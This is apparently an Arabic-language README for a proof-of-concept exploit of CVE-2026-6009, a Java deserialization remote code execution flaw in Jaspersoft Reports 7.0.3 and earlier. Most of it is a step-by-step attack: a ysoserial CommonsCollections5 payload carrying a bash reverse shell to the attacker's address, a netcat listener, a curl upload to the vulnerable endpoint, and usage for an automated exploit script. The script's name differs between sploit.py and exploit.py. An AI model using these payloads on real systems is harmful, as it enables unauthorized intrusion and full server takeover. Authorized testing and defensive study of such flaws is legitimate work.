
استغلال آلي لإثبات المفهوم لـ CVE-2026-6009، وهي ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) في إلغاء تسلسل جافا (Java deserialization) في Jaspersoft Reports <=7.0.3. يقوم بإنشاء حمولات خبيثة بامتداد .jasper عبر ysoserial ويقدم غلافًا عكسيًا (reverse shell) عبر نقطة نهاية رفع الملفات.
⚠️ إخلاء مسؤولية: هذا المستودع مخصص للأغراض التعليمية واختبارات الأمن المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
مكتبة Jaspersoft report الإصدار <= 7.0.3 معرضة لـ تنفيذ التعليمات البرمجية عن بُعد (RCE) من خلال استغلال تدفق إلغاء التسلسل في Java. تسمح هذه الثغرة للمهاجم بإجراء اتصال مع صدفة عكسية على النظام باستخدام هذا الإصدار من المكتبة.
لنقل البيانات، تحتاج بعض الأنظمة إلى تحويل الكائنات إلى تنسيق معين قابل للنقل، وهذا هو التسلسل. إلغاء التسلسل هو العملية العكسية. في Java، الآلية الضعيفة تكمن في ObjectInputStream.readObject() والتي تُستخدم لإلغاء تسلسل أي كائن من تدفق الإدخال. نظرًا لأن JRLoader.loadObject() تستخدم هذه الطريقة لقراءة ملفات تقارير .jasper في مكتبة Jaspersoft، فهي نقطة دخول خطيرة لوضع تعليمات برمجية ضارة.
لا يكفي استخدام readObject() وحده لتفعيل التعليمات البرمجية. فهو يعمل فقط على الفئات المعروفة القابلة للاستغلال. لذلك يستخدم المهاجمون سلاسل الأدوات المعروفة مثل CommonCollection لتنفيذ حمولاتهم الضارة.
لإمكانية إنشاء إثبات المفهوم (PoC)، قمت بإعداد مختبر على جهاز Parrot مع خادم ويب Java يستخدم مكتبة Jaspersoft Report:
نظام التشغيل: Parrot OS 7 GNU/Linux الإطار: Spring Boot الإصدار 2.7.18 التبعية: Jasperreports الإصدار 7.0.3 البيئة: Java 11 المُجمّع: Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() appelé en interne par JRLoader
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
في الخطوة الأولى، بمجرد معرفة أن النظام المستهدف يستخدم إصدارًا ضعيفًا من Jasperreport، تحتاج إلى العثور على الوجهة الدقيقة التي سيتلقى فيها الهدف ملف jasper.
في هذه البيئة، هو http://localhost:8080/upload-report
ثم تحتاج إلى إيجاد طريقة لاكتشاف الفئة التي يمكن استخدامها كسلسلة أدوات في النظام المستهدف. يمكنك أيضًا تجربة عدد قليل منها ومعرفة أيها يؤدي إلى تفعيل النظام.
في سياق الصندوق الأبيض، يمكننا البحث عن هذه المعلومات بأنفسنا:
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
نجد أن النظام يستخدم CommonsCollections.
بالنسبة لـ CommonsCollections، استخدم سكريبت ysoserial لتوليد الحمولة التي تريدها. هنا، قم بعمل صدفة عكسية:
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
قد تحتاج على الأرجح إلى اختبار عدة إصدارات من CommonCollections لتنفيذ الحمولة.
لإجراء اتصال الصدفة العكسية، نحتاج إلى الاستماع على منفذ لتلقي الاتصال من النظام المستهدف الذي بدأته الحمولة:
nc -lnvp 4444
أخيرًا، كل ما عليك فعله هو إرسال الحمولة التي جهزتها إلى الموقع الذي وجدته والتحقق من منفذك لتأكيد إجراء الاتصال من النظام المستهدف:
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
يمكن للمهاجم الذي لديه إمكانية الوصول إلى نقطة النهاية تنفيذ تعليمات برمجية عشوائية بصلاحيات الخادم مما قد يؤدي إلى اختراق كامل للنظام.
sploit.py هو سكريبت آلي لإعادة إنتاج الاستغلال من الثغرة CVE-2026-6009.
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| العلم | الوصف |
|---|---|
| -t, --target | المكان الذي سيتم رفع ملف .jasper إليه |
| -s, --source | عنوان IP الخاص بك |
| -p, --port | المنفذ الذي تريد أن تتصل به الصدفة العكسية |